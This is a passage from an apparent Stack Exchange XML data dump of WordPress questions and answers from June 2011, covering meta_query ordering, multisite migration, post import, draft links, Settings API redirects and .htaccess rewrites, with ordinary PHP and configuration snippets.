href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;?php the_content();?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;    &amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2011-06-17T09:54:05.470" />
  <row Id="20252" PostTypeId="2" ParentId="20237" CreationDate="2011-06-17T10:07:34.683" Score="2" ViewCount="" Body="&lt;p&gt;This seems to be a bug in Wordpress. Wordpress actually modifies the meta_query if you specify orderby and meta_key as query vars. Normally this modification adds the new meta_key as the first array in meta_query array and hence the orderby is applied to the first meta key specified in meta_query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when you modify orderby, meta_key and meta_value query_vars in pre_get_posts filter, due to the (it seems to me) bug in Wordpress, it add the new array in existing meta query but the new array is not inserted as first array, it gets appended to the existing meta_query. And orderby always gets applied to the first meta_key in meta_query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So as a workaround until the bug gets fixed you can specify the meta_key again in the meta_query as the first array, as in the following example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'pre_get_posts', 'my_get_posts' );&#xA;function my_get_posts( $query ) {&#xA;if ( is_home() ) {&#xA;  $query-&amp;gt;set( 'post_type', 'event' );&#xA;  $query-&amp;gt;set( 'meta_key', '_start_date' );&#xA;  $query-&amp;gt;set( 'orderby', 'meta_value_num' );&#xA;  $query-&amp;gt;set( 'order', 'ASC' );&#xA;  $query-&amp;gt;set( 'meta_query', array(&#xA;        array(&#xA;              'key' =&amp;gt; '_start_date'&#xA;        ),&#xA;        array(&#xA;              'key' =&amp;gt; '_end_date',&#xA;              'value' =&amp;gt; time(),&#xA;              'compare' =&amp;gt; '&amp;gt;=',&#xA;              'type' =&amp;gt; 'numeric'&#xA;        )&#xA;  ));&#xA;  }&#xA;  return $query;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-06-17T10:07:34.683" />
  <row Id="20253" PostTypeId="1" AcceptedAnswerId="20520" CreationDate="2011-06-17T10:10:39.473" Score="1" ViewCount="94" Body="&lt;p&gt;I need to take a site that is installed as a subdomain blog on a multi site install and move it to it's own domain on a standalone wordpress installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can this be done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running into trouble with the path to the images in posts because multi site uses &lt;code&gt;/blogs.dir/blogid/&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be done?&lt;/p&gt;&#xA;" OwnerUserId="699" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-06-20T21:16:02.100" LastActivityDate="2011-06-20T21:16:02.100" Title="How to convert multi-site to single site" Tags="&lt;multisite&gt;&lt;migration&gt;&lt;single&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="20254" PostTypeId="1" CreationDate="2011-06-17T10:13:51.967" Score="2" ViewCount="101" Body="&lt;p&gt;I'm trying to use contact form 7 on my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only server side validation that it seems to do is check if required fields have been entered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Isn't there a danger if someone sends several MB of data through tools like tamper data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will I need to rewrite the plugin code to take care of validation?&lt;/p&gt;&#xA;" OwnerUserId="5852" LastActivityDate="2011-08-17T18:26:00.817" Title="Server side validation for Contact Form 7" Tags="&lt;plugins&gt;&lt;validation&gt;&lt;contact-form-7&gt;" AnswerCount="1" />
  <row Id="20255" PostTypeId="2" ParentId="20011" CreationDate="2011-06-17T10:22:00.577" Score="0" ViewCount="" Body="&lt;p&gt;Problem solved. It was an unclosed div.&#xA;Lesson learned: first validate your code completely, then ask for help ;)&lt;/p&gt;&#xA;" OwnerUserId="2119" LastActivityDate="2011-06-17T10:22:00.577" />
  <row Id="20256" PostTypeId="2" ParentId="20253" CreationDate="2011-06-17T11:29:53.570" Score="1" ViewCount="" Body="&lt;p&gt;Use the WordPress export file, then install a fresh system and import the file again. This is the easiest way I know.&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2011-06-17T11:29:53.570" />
  <row Id="20257" PostTypeId="1" AcceptedAnswerId="20260" CreationDate="2011-06-17T12:04:53.393" Score="1" ViewCount="110" Body="&lt;p&gt;I want to develop a WordPress theme from scratch. Is there any wireframe tool in which I can design the a complete page and it exports the html/php file against it. I want a free tool.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2011-06-17T12:47:19.460" Title="Wireframe tool for WordPress theme" Tags="&lt;theme-development&gt;" AnswerCount="3" FavoriteCount="2" />
  <row Id="20259" PostTypeId="2" ParentId="20248" CreationDate="2011-06-17T12:20:40.650" Score="0" ViewCount="" Body="&lt;p&gt;Make sure you have &lt;code&gt;&amp;lt;?php wp_footer(); ?&amp;gt;&lt;/code&gt; in place.&lt;/p&gt;&#xA;" OwnerUserId="1859" LastActivityDate="2011-06-17T12:20:40.650" CommentCount="1" />
  <row Id="20260" PostTypeId="2" ParentId="20257" CreationDate="2011-06-17T12:22:35.403" Score="1" ViewCount="" Body="&lt;p&gt;I personally do not know of any free tool that would achieve what you are looking for. The closest thing would be to use a &quot;slice and chop&quot; company that would take your designs and slice them up for you at a price though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a great &quot;blank&quot; wordpress theme out &lt;a href=&quot;http://digwp.com/2010/02/blank-wordpress-theme/&quot; rel=&quot;nofollow&quot;&gt;there&lt;/a&gt; that I use on all of my projects. It has all of the files you need for a theme, with most (if not all) of the queries that you need. All you have to do is pretty much style it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the Wordpress Codex is a great resource for learning all the nuts and bolts of wordpress.  I know it has been a life saver to me over the years.&lt;/p&gt;&#xA;" OwnerUserId="807" LastActivityDate="2011-06-17T12:22:35.403" />
  <row Id="20261" PostTypeId="2" ParentId="18049" CreationDate="2011-06-17T12:29:42.923" Score="0" ViewCount="" Body="&lt;p&gt;Yeah, I would make sure you have your query on your homepage set up, and, as @Manzabar suggested, make sure your &quot;Front page displays&quot; has been set to &quot;latest posts&quot;.&lt;/p&gt;&#xA;" OwnerUserId="807" LastActivityDate="2011-06-17T12:29:42.923" />
  <row Id="20262" PostTypeId="2" ParentId="20257" CreationDate="2011-06-17T12:34:16.903" Score="-1" ViewCount="" Body="&lt;p&gt;The only one I know is &lt;a href=&quot;http://www.artisteer.com/&quot; rel=&quot;nofollow&quot;&gt;Artisteer&lt;/a&gt;. It's a commercial product but it offers a &lt;a href=&quot;http://www.artisteer.com/?p=downloads&quot; rel=&quot;nofollow&quot;&gt;free trial&lt;/a&gt;. Here's &lt;a href=&quot;http://www.artisteer.com/?p=wordpress_themes&quot; rel=&quot;nofollow&quot;&gt;a demo&lt;/a&gt; of how it can be used specifically for creating Wordpress themes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also start a theme with the help of &lt;a href=&quot;http://www.yvoschaap.com/wpthemegen/&quot; rel=&quot;nofollow&quot;&gt;Wordpress Theme Generator&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-17T12:34:16.903" />
  <row Id="20263" PostTypeId="2" ParentId="7564" CreationDate="2011-06-17T12:34:45.777" Score="0" ViewCount="" Body="&lt;p&gt;You could also use Advanced Custom Fields Plugin. It allows you to create whatever type of field you wish, and then adds it to posts or pages (or both). After that, it is pretty simple to call within the wordpress loop.&lt;/p&gt;&#xA;" OwnerUserId="807" LastActivityDate="2011-06-17T12:34:45.777" />
  <row Id="20264" PostTypeId="2" ParentId="20210" CreationDate="2011-06-17T12:46:00.960" Score="0" ViewCount="" Body="&lt;p&gt;Thank you both for your help and contribution here - this is the direction I took initially. What I would like to do is list the custom taxonomy heirachy like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTC (link to custom posts 'mobile_review' where custom taxonomy 'mobile_phone' = HTC)&#xA; Desire (link to custom posts 'mobile_review' where custom taxonomy 'mobile_phone' = Desire)&#xA; Wildfire (etc)&#xA;Nokia&#xA; 1800&#xA;etc etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I was trying to achieve what you show in order to access all the custom posts of type 'mobile_review' but then output the associated terms (if get_terms is the correct function to use?) filtered by custom taxonomy. I want to put these in a drop down menu for each section on my site: mobile specs / reviews / news.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if I wasn't clear in my initial question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Great site btw! Thanks again for your help here.&lt;/p&gt;&#xA;" OwnerUserId="6272" LastActivityDate="2011-06-17T12:46:00.960" />
  <row Id="20265" PostTypeId="2" ParentId="20257" CreationDate="2011-06-17T12:47:19.460" Score="0" ViewCount="" Body="&lt;p&gt;take a &lt;a href=&quot;http://wordpress.org/extend/plugins/the-website-weaver/&quot; rel=&quot;nofollow&quot;&gt;look at this&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-06-17T12:47:19.460" CommentCount="1" />
  <row Id="20266" PostTypeId="1" CreationDate="2011-06-17T09:06:38.253" Score="0" ViewCount="191" Body="&lt;p&gt;The problem I am facing right now is, that I can't use functions provided by wordpress plugins on my &quot;Home&quot; page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be precise: I use wordpress together with the wp-e-commerce plugin, which has no real documentation. I had a template with some js-written checkout script which I need to replace with wp-e-commerce.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The frontpage showed a featured product and some jcarousel to show other products. The only thing I'd need to change are the functions, f.e. &lt;code&gt;the_title()&lt;/code&gt; -&gt; &lt;code&gt;wpsc_the_product_title()&lt;/code&gt;.&lt;/p&gt;&#xA;" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-18T16:18:36.517" LastActivityDate="2011-08-18T15:26:36.353" Title="How to use wordpress plugin functions on my &quot;home&quot; page?" Tags="&lt;plugins&gt;&lt;template-tags&gt;" AnswerCount="2" CommentCount="0" />
  <row Id="20269" PostTypeId="1" CreationDate="2011-06-17T13:48:21.460" Score="3" ViewCount="115" Body="&lt;p&gt;I have created an import file to get the articles from a non-wordpress db and bring them in as posts in wordpress, I am not sure how to bring over the thumbnail image into my custom field I defined as &quot;thumbnail&quot;. Any suggestions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I am using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $results = mysql_query(&quot;SELECT headline, abstract, article, author, posted,    category, img, facilities FROM articles&quot;,$lclink);&#xA;&#xA;    $i = 0;&#xA;while ($row = mysql_fetch_array($results,MYSQL_ASSOC)) {&#xA;   $post = array();&#xA;   $post['post_status'] = 'publish';&#xA;   $post['post_category'] = array(1);&#xA;   $post['post_date'] = date('Y-m-d H:i:s',strtotime($row['posted']));&#xA;   $post['post_title'] = $row['headline'];&#xA;   $post['post_excerpt'] = $row['abstract'];&#xA;   $post['post_content'] = $row['article'];&#xA;   $post['post_author'] = $row['author'];&#xA;&#xA;&#xA;&#xA;   $posts[$i] = $post;&#xA;   $i++;&#xA;}&#xA;&#xA;require('./wp-load.php');&#xA;&#xA;foreach ($posts as $post) {&#xA;  wp_insert_post($post);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6276" LastActivityDate="2011-08-16T20:22:41.140" Title="importing data from non-wordpress mysql db" Tags="&lt;custom-field&gt;&lt;database&gt;&lt;mysql&gt;&lt;post-meta&gt;&lt;import&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="20270" PostTypeId="1" CreationDate="2011-06-17T13:54:24.090" Score="1" ViewCount="82" Body="&lt;p&gt;Problem: I have a overview-page with a sub-page. Both pages are still in status &quot;draft&quot;. Now I want to create a link on the overview-page to the sub-page, a popup appears, but in the list of internal pages, the drafted pages do not appear.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Do I need to publish the sub-pages first to be able to link to them, or is there another way?&lt;/li&gt;&#xA;&lt;li&gt;Why are they not appearing in the list of internal pages?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6277" LastActivityDate="2011-06-17T20:35:25.747" Title="Is it possible to link to draft pages?" Tags="&lt;link&gt;&lt;draft&gt;" AnswerCount="1" />
  <row Id="20271" PostTypeId="1" AcceptedAnswerId="20277" CreationDate="2011-06-17T13:59:34.683" Score="0" ViewCount="85" Body="&lt;p&gt;I have my plugin all set-up using the Settings API and working but what I have is two manual functions in my plugin that can be run by the admin user by visiting the following URL's&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo admin_url(); ?&amp;gt;options-general.php?page=wordpress-file-monitor-plus&amp;amp;sc_wpfmp_action=1&amp;amp;sc_wpfmp_scan=1&#xA;&amp;lt;?php echo admin_url(); ?&amp;gt;options-general.php?page=wordpress-file-monitor-plus&amp;amp;sc_wpfmp_action=1&amp;amp;sc_wpfmp_reset_settings=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using the &lt;code&gt;admin_init&lt;/code&gt; hook to lookout for these GET parameters and do those functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The functions run fine and the user is back on my plugin settings page but the GET parameters are still in the URL. Not a big issue but if the user then goes ahead and save the settings those GET parameters are sent again and thus running those functions again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does the Settings API send those parameters when submitting the settings form? The action of the form is to submit to &lt;code&gt;options.php&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way around my issue I can think of is that after those manual functions have run its code in &lt;code&gt;admin_init&lt;/code&gt; is to run a redirect to the settings page without the GET parameters, but if I do this I will lose my admin notices I'm trying to show to the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway got any suggestions on how I can get around this problem. Maybe you think there is a better way to run these manual functions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: full settings code: &lt;a href=&quot;http://pastebin.com/Gk5RF5Lc&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/Gk5RF5Lc&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4610" LastEditorUserId="4610" LastEditorDisplayName="" LastEditDate="2011-06-17T14:44:36.940" LastActivityDate="2011-06-17T15:07:32.283" Title="GET parameters interfere with my plugin settings" Tags="&lt;plugin-development&gt;&lt;settings-api&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="20272" PostTypeId="2" ParentId="20269" CreationDate="2011-06-17T14:03:49.210" Score="2" ViewCount="" Body="&lt;p&gt;you need to get the ID back from your post insertion and use that with &lt;code&gt;add_post_meta&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post_id = wp_insert_post($post);&#xA;add_post_meta($post_id, 'thumbnail', $yourvalue, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-17T14:03:49.210" CommentCount="4" />
  <row Id="20273" PostTypeId="1" CreationDate="2011-06-17T14:26:05.780" Score="1" ViewCount="126" Body="&lt;p&gt;I am trying to get three loops to display. they all belong to the same post type and the same taxonomy family. but i'm trying to separate the taxonomy by three different values. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$argsOwners = array( 'tax_query' =&amp;gt; array(array('taxonomy' =&amp;gt; 'position',  'field' =&amp;gt; 'slug', 'terms' =&amp;gt; 'senior-management'    )));&#xA;$the_query_owners = new WP_Query( $argsOwners );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then i &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_reset_postdata(); // reset the query ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then i &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$argsSales = array( 'tax_query' =&amp;gt; array(array('taxonomy' =&amp;gt; 'position',  'field' =&amp;gt; 'slug', 'terms' =&amp;gt; 'sales' )));&#xA;$the_query_sales = new WP_Query( $argsSales );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and i repeat again for the third term of &quot;admin&quot;. the problem is only the first query will work. any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT EDIT EDIT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think i figure what the issue is. It had to do with whether is was logged in or not. if i was logged in then i would only see the for query displayed. but if im logged out then i get all 3 perfectly. &lt;/p&gt;&#xA;" OwnerUserId="2774" LastEditorUserId="2774" LastEditorDisplayName="" LastEditDate="2011-06-17T19:39:07.023" LastActivityDate="2011-08-16T20:25:30.913" Title="cannot get multiple loops using tax_query" Tags="&lt;custom-taxonomy&gt;&lt;query-posts&gt;&lt;wp-query&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="20274" PostTypeId="2" ParentId="20152" CreationDate="2011-06-17T14:33:00.443" Score="0" ViewCount="" Body="&lt;p&gt;I'm assuming that you put WordPress in your site root and the external directories are also in your site root. The reason this is happening is that .htaccess files follow a hierarchy. Whatever directives are in the top-level .htaccess file flow down and apply to all directories below it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is the case, you can do one of several things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Move your WordPress into its own directory. &#xA;See: &lt;a href=&quot;http://codex.wordpress.org/Moving_WordPress&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Moving_WordPress&lt;/a&gt;&#xA;If you move WordPress into its own directory so that it is on the same level in your server directory hierarchy as the other directories the WordPress rewrite rules cannot affect the other directories. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;RewriteEngine Off - this would normally work. If it isn't working check that you are not using a wildcard DNS setting. If you have a wildcard * hostname record pointing at your web server in your DNS settings it can cause havoc with .htaccess and subdomains.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the .htaccess file in your site root, add the following ABOVE the WordPress .htaccess directives:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteCond %{REQUEST_URI} ^/subdirectoryname1/(.*)$ [OR]&#xA;RewriteCond %{REQUEST_URI} ^/subdirectoryname2/(.*)$ [OR]&#xA;RewriteRule ^.*$ - [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;One of these should work for you. &lt;/p&gt;&#xA;" OwnerUserId="2761" LastActivityDate="2011-06-17T14:33:00.443" />
  <row Id="20275" PostTypeId="2" ParentId="20152" CreationDate="2011-06-17T14:44:49.507" Score="0" ViewCount="" Body="&lt;p&gt;If you are still getting 404's with the htaccess disabled and you have verified the paths and you know the files are there then your only options left are these three...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Options...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Server is quite possibly running a case-sensitive operating system. Which means if you are typing in a path and not using the exact characters and casing it simply will not work.&lt;/li&gt;&#xA;&lt;li&gt;Permissions: You may have the wrong permissions on the file or folder or a parent folder. Try to change the permissions to 755 on the files, folders, and parent folders. If you have ssh (terminal) access to it then go to your root and run this &quot;chmod -R 755 mydir&quot; and that will recursively set the permissions for all of them.&lt;/li&gt;&#xA;&lt;li&gt;If you are still having a problem after all of that then you have a server config problem (Apache probably). You will need to talk to your hosting provider about it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If none of that works then you need a new host. I recommend hostmonster.com for cheap hosting that has great support and offers SSH access. I use them, costs about $5 per month. If you need something that is more robust and scalable, but still has good pricing then I recommend mediatemple.net. They offer scalable cloud hosting starting at $20 per month. Though I would only go with the second option if you expect to see dramatic increases in traffic or you already have very high traffic (I am talking 500-1,000+ per hour).&lt;/p&gt;&#xA;" OwnerUserId="4901" LastActivityDate="2011-06-17T14:44:49.507" />
  <row Id="20276" PostTypeId="2" ParentId="20266" CreationDate="2011-06-17T14:54:15.600" Score="0" ViewCount="" Body="&lt;p&gt;I've done it a few times but you need to know some basic coding.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a post with the widget.&lt;/li&gt;&#xA;&lt;li&gt;Go to the post and isolate the widget source code.&lt;/li&gt;&#xA;&lt;li&gt;Paste the source code in any other page and edit the links.&lt;/li&gt;&#xA;&lt;li&gt;There.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6280" LastActivityDate="2011-06-17T14:54:15.600" />
  <row Id="20277" PostTypeId="2" ParentId="20271" CreationDate="2011-06-17T15:07:32.283" Score="4" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Why does the Settings API send those parameters when submitting the settings form? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Quite frankly, it doesn't. As you already mentioned, your form simply POST's to &lt;code&gt;options.php&lt;/code&gt;, which in turn handles the request, updates the database, and then &lt;strong&gt;redirects back to the referer&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How the referer is fetched is down to the function &lt;code&gt;wp_get_referer()&lt;/code&gt;;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wp_get_referer() {&#xA;    $ref = '';&#xA;    if ( ! empty( $_REQUEST['_wp_http_referer'] ) )&#xA;        $ref = $_REQUEST['_wp_http_referer'];&#xA;    else if ( ! empty( $_SERVER['HTTP_REFERER'] ) )&#xA;        $ref = $_SERVER['HTTP_REFERER'];&#xA;&#xA;    if ( $ref !== $_SERVER['REQUEST_URI'] )&#xA;        return $ref;&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's why you're getting sent back to your options page with the action parameters still there - because they were present in &lt;code&gt;$_SERVER['HTTP_REFERER']&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you'll also see that you can override this behaviour, by placing a hidden input inside your form like so;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;_wp_http_referer&quot; value=&quot;&amp;lt;?php echo admin_url( 'options-general.php?page=wordpress-file-monitor-plus' ); ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now &lt;code&gt;options.php&lt;/code&gt; will always redirect back to...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://example.com/wp-admin/options-general.php?page=wordpress-file-monitor-plus&quot; rel=&quot;nofollow&quot;&gt;http://example.com/wp-admin/options-general.php?page=wordpress-file-monitor-plus&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;...regardless of whatever was in the query string previously.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-17T15:07:32.283" CommentCount="4" />
  <row Id="20278" PostTypeId="2" ParentId="20266" CreationDate="2011-06-17T15:09:35.230" Score="0" ViewCount="" Body="&lt;p&gt;wp e-commerce has a few shortcodes for displaying products, you may be able to use one of these:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;display products set as &quot;featured&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[homepage_products]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;show a whole category:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[wpsc_category=1]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the products are stored as a custom post type named &quot;wpsc-product&quot;, so you could also just use all of  the built in WordPress functions for querying and displaying posts, along with the wp e-commerce function for displaying the add to cart controls:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo wpsc_add_to_cart_button(1); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-17T15:09:35.230" />
  <row Id="20279" PostTypeId="1" AcceptedAnswerId="20401" CreationDate="2011-06-17T15:18:35.813" Score="0" ViewCount="48" Body="&lt;p&gt;I need to build a php foreach that goes through all my terms in my custom taxonomy 'Section'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to get a foreach of all the terms in 'Section', but what i cant do is build it with levels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the top parent term to be the heading, and its children will be displayed in a list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heres an html example of the output i need.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;accordian&quot;&amp;gt;&#xA;   &amp;lt;div&amp;gt; Term Parent &amp;lt;/div&amp;gt;&#xA;   &amp;lt;ul&amp;gt;&#xA;      &amp;lt;li&amp;gt; Term Child &amp;lt;/li&amp;gt;&#xA;      &amp;lt;li&amp;gt; Term Child &amp;lt;/li&amp;gt;&#xA;   &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;accordian&quot;&amp;gt;&#xA;   &amp;lt;div&amp;gt; Term Parent &amp;lt;/div&amp;gt;&#xA;   &amp;lt;ul&amp;gt;&#xA;      &amp;lt;li&amp;gt; Term Child &amp;lt;/li&amp;gt;&#xA;      &amp;lt;li&amp;gt; Term Child &amp;lt;/li&amp;gt;&#xA;   &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5140" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-17T15:22:54.237" LastActivityDate="2011-06-19T10:52:14.843" Title="Leveled - Terms foreach" Tags="&lt;terms&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="20280" PostTypeId="2" ParentId="20270" CreationDate="2011-06-17T15:24:10.907" Score="4" ViewCount="" Body="&lt;p&gt;I should start off by saying that linking to drafts will &lt;strong&gt;only work for logged in users&lt;/strong&gt; (with appropriate permissions) - other users will simply hit a 404 Not Found!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd be much better off getting all your content &lt;strong&gt;ready &amp;amp; published&lt;/strong&gt;, or only link to it &lt;strong&gt;once it &lt;em&gt;is&lt;/em&gt; ready&lt;/strong&gt;!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nevertheless, to answer your question, to link to a draft simply enter the URL manually in the &lt;strong&gt;URL&lt;/strong&gt; field (as opposed to searching for the page using the link feature).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/fWwCc.png&quot; alt=&quot;WordPress link visual editor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It'll probably be something like &lt;code&gt;http://example.com/?page_id=X&amp;amp;preview=true&lt;/code&gt; - you can find it beneath the title field when editing.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Why are [drafts] not appearing in the list of internal pages?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The very nature of the WordPress 'link to content' feature is to ease the process mentioned above. It only shows &lt;em&gt;published&lt;/em&gt; content, as this almost &lt;em&gt;always&lt;/em&gt; what you want to link to (rather than cluttering up the results with drafts, revisions etc.).&lt;/p&gt;&#xA;" OwnerUserId="1685" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2011-06-17T20:35:25.747" LastActivityDate="2011-06-17T20:35:25.747" />
  <row Id="20282" PostTypeId="2" ParentId="20279" CreationDate="2011-06-17T15:28:27.563" Score="3" ViewCount="" Body="&lt;p&gt;Why not use &lt;code&gt;wp_list_categories( 'taxonomy=section' )&lt;/code&gt; ? It'll do all the nesting &amp;amp; hard work for you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want more control over the HTML output, implement a &lt;a href=&quot;http://scribu.net/wordpress/extending-the-category-walker.html&quot; rel=&quot;nofollow&quot;&gt;custom walker&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-17T15:28:27.563" />
